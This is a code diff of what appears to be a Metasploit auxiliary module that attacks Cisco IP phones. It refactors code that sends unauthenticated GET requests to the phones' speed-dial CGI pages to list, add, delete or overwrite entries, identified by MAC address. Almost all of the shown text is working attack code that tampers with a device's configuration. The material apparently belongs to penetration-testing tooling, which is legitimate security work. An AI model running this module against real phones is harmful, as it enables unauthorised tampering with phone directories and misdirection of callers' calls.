@@ -48,100 +48,133 @@ def initialize(info={})
48
48
end
49
49
50
50
def run
51
- uri = normalize_uri ( target_uri . to_s )
52
- mac = Rex ::Text . uri_encode ( datastore [ "MAC" ] )
53
- name = Rex ::Text . uri_encode ( datastore [ "NAME" ] )
54
- position = Rex ::Text . uri_encode ( datastore [ "POSITION" ] )
55
- telno = Rex ::Text . uri_encode ( datastore [ "TELNO" ] )
56
-
51
+ mac = Rex ::Text . uri_encode ( datastore [ 'MAC' ] )
52
+ name = Rex ::Text . uri_encode ( datastore [ 'NAME' ] )
53
+ position = Rex ::Text . uri_encode ( datastore [ 'POSITION' ] )
54
+ telno = Rex ::Text . uri_encode ( datastore [ 'TELNO' ] )
57
55
58
56
case action . name . upcase
59
57
when 'MODIFY'
60
- print_status ( "Deleting Speed Dial of the IP phone" )
61
- url = uri +"/phonespeeddialdelete.cgi?entry=#{ position } &device=SEP#{ mac } "
62
- vprint_status ( "URL: " +url )
63
- status , res = send_rcv ( url )
64
- if status != Exploit ::CheckCode ::Safe and res . body =~ /Deleted/
65
- print_good ( "Speed Dial #{ position } is deleted successfully" )
66
- print_status ( "Adding Speed Dial to the IP phone" )
67
- url = uri +"/phonespeedialadd.cgi?name=#{ name } &telno=#{ telno } &device=SEP#{ mac } &entry=#{ position } &mac=#{ mac } "
68
- vprint_status ( "URL: " +url )
69
- status , res = send_rcv ( url )
70
- if status != Exploit ::CheckCode ::Safe and res . body =~ /Added/
71
- print_good ( "Speed Dial #{ position } is added successfully" )
72
- elsif res . body =~ /exist/
73
- print_error ( "Speed Dial is exist, change the position or choose modify!" )
58
+ print_status ( "#{ peer } - Deleting Speed Dial of the IP phone" )
59
+
60
+ vars_get = {
61
+ 'entry' => "#{ position } " ,
62
+ 'device' => "SEP#{ mac } "
63
+ }
64
+
65
+ status , res = send_rcv ( 'phonespeeddialdelete.cgi' , vars_get )
66
+
67
+ if status == Exploit ::CheckCode ::Vulnerable && res && res . body && res . body . to_s =~ /Deleted/
68
+ print_good ( "#{ peer } - Speed Dial #{ position } is deleted successfully" )
69
+ print_status ( "#{ peer } - Adding Speed Dial to the IP phone" )
70
+
71
+ vars_get = {
72
+ 'name' => "#{ name } " ,
73
+ 'telno' => "#{ telno } " ,
74
+ 'device' => "SEP#{ mac } " ,
75
+ 'entry' => "#{ position } " ,
76
+ 'mac' => "#{ mac } "
77
+ }
78
+
79
+ status , res = send_rcv ( 'phonespeedialadd.cgi' , vars_get )
80
+
81
+ if status == Exploit ::CheckCode ::Vulnerable && res && res . body && res . body . to_s =~ /Added/
82
+ print_good ( "#{ peer } - Speed Dial #{ position } is added successfully" )
83
+ elsif res && res . body =~ /exist/
84
+ print_error ( "#{ peer } - Speed Dial is exist, change the position or choose modify!" )
74
85
else
75
- print_error ( "Speed Dial couldn't add!" )
86
+ print_error ( "#{ peer } - Speed Dial couldn't add!" )
76
87
end
77
88
else
78
- print_error ( "Speed Dial is not found!" )
89
+ print_error ( "#{ peer } - Speed Dial is not found!" )
79
90
end
80
91
when 'DELETE'
81
- print_status ( "Deleting Speed Dial of the IP phone" )
82
- url = uri +"/phonespeeddialdelete.cgi?entry=#{ position } &device=SEP#{ mac } "
83
- vprint_status ( "URL: " +url )
84
- status , res = send_rcv ( url )
85
- if status != Exploit ::CheckCode ::Safe and res . body =~ /Deleted/
86
- print_good ( "Speed Dial #{ position } is deleted successfully" )
92
+ print_status ( "#{ peer } - Deleting Speed Dial of the IP phone" )
93
+
94
+ vars_get = {
95
+ 'entry' => "#{ position } " ,
96
+ 'device' => "SEP#{ mac } "
97
+ }
98
+
99
+ status , res = send_rcv ( 'phonespeeddialdelete.cgi' , vars_get )
100
+
101
+ if status == Exploit ::CheckCode ::Vulnerable && res && res . body && res . body . to_s =~ /Deleted/
102
+ print_good ( "#{ peer } - Speed Dial #{ position } is deleted successfully" )
87
103
else
88
- print_error ( "Speed Dial is not found!" )
104
+ print_error ( "#{ peer } - Speed Dial is not found!" )
89
105
end
106
+
90
107
when 'ADD'
91
- print_status ( "Adding Speed Dial to the IP phone" )
92
- url = uri +"/phonespeedialadd.cgi?name=#{ name } &telno=#{ telno } &device=SEP#{ mac } &entry=#{ position } &mac=#{ mac } "
93
- vprint_status ( "URL: " +url )
94
- status , res = send_rcv ( url )
95
- if status != Exploit ::CheckCode ::Safe and res . body =~ /Added/
96
- print_good ( "Speed Dial #{ position } is added successfully" )
97
- elsif res . body =~ /exist/
98
- print_error ( "Speed Dial is exist, change the position or choose modify!" )
108
+ print_status ( "#{ peer } - Adding Speed Dial to the IP phone" )
109
+ vars_get = {
110
+ 'name' => "#{ name } " ,
111
+ 'telno' => "#{ telno } " ,
112
+ 'device' => "SEP#{ mac } " ,
113
+ 'entry' => "#{ position } " ,
114
+ 'mac' => "#{ mac } "
115
+ }
116
+ status , res = send_rcv ( 'phonespeedialadd.cgi' , vars_get )
117
+
118
+ if status == Exploit ::CheckCode ::Vulnerable && res && res . body && res . body . to_s =~ /Added/
119
+ print_good ( "#{ peer } - Speed Dial #{ position } is added successfully" )
120
+ elsif res && res . body && res . body . to_s =~ /exist/
121
+ print_error ( "#{ peer } - Speed Dial is exist, change the position or choose modify!" )
99
122
else
100
- print_error ( "Speed Dial couldn't add!" )
123
+ print_error ( "#{ peer } - Speed Dial couldn't add!" )
101
124
end
102
125
else
103
126
print_status ( "Getting Speed Dials of the IP phone" )
104
- url = uri +"/speeddials.cgi?device=SEP#{ mac } "
105
- vprint_status ( "URL: " +url )
127
+ vars_get = {
128
+ 'device' => "SEP#{ mac } "
129
+ }
106
130
107
- status , res = send_rcv ( url )
108
- parse ( res ) if status ! = Exploit ::CheckCode ::Safe
131
+ status , res = send_rcv ( 'speeddials.cgi' , vars_get )
132
+ parse ( res ) unless status = = Exploit ::CheckCode ::Safe
109
133
end
110
134
111
135
end
112
136
113
- def send_rcv ( uri )
114
- uri = normalize_uri ( uri . to_s )
137
+ def send_rcv ( uri , vars_get )
138
+ uri = normalize_uri ( target_uri . to_s , uri . to_s )
115
139
res = send_request_cgi (
116
140
{
117
141
'uri' => uri ,
118
142
'method' => 'GET' ,
143
+ 'vars_get' => vars_get
119
144
} )
120
145
121
- if res and res . code == 200 and res . body =~ /Speed [D|d]ial/
122
- return Exploit ::CheckCode ::Vulnerable , res
146
+ if res && res . code == 200 && res . body && res . body . to_s =~ /Speed [D|d]ial/
147
+ return Exploit ::CheckCode ::Vulnerable , res
123
148
else
124
- print_error ( "Target appears not vulnerable!" )
125
- return Exploit ::CheckCode ::Safe , res
149
+ print_error ( "#{ peer } - Target appears not vulnerable!" )
150
+ return Exploit ::CheckCode ::Safe , res
126
151
end
127
152
end
128
153
129
154
def parse ( res )
130
155
doc = REXML ::Document . new ( res . body )
131
- names = [ ]
132
- phones = [ ]
156
+ names = [ ]
157
+ phones = [ ]
133
158
134
- list = doc . root . get_elements ( " DirectoryEntry" )
135
- list . each { |lst |
136
- xlist = lst . get_elements ( " Name" )
159
+ list = doc . root . get_elements ( ' DirectoryEntry' )
160
+ list . each do |lst |
161
+ xlist = lst . get_elements ( ' Name' )
137
162
xlist . each { |l | names << "#{ l [ 0 ] } " }
138
- xlist = lst . get_elements ( " Telephone" )
163
+ xlist = lst . get_elements ( ' Telephone' )
139
164
xlist . each { |l | phones << "#{ l [ 0 ] } " }
140
- }
165
+ end
166
+
141
167
if names . size > 0
142
- names . size . times { |i | print_good ( "Position: " +names [ i ] . split ( ":" ) [ 0 ] +"\t Name: " +names [ i ] . split ( ":" ) [ 1 ] +"\t " +"Telephone: " +phones [ i ] ) }
168
+ names . size . times do |i |
169
+ info = ''
170
+ info << "Position: #{ names [ i ] . split ( ":" ) [ 0 ] } , "
171
+ info << "Name: #{ names [ i ] . split ( ":" ) [ 1 ] } , "
172
+ info << "Telephone: #{ phones [ i ] } "
173
+
174
+ print_good ( "#{ peer } - #{ info } " )
175
+ end
143
176
else
144
- print_status ( "No Speed Dial detected" )
177
+ print_status ( "#{ peer } - No Speed Dial detected" )
145
178
end
146
179
end
147
180
end
0 commit comments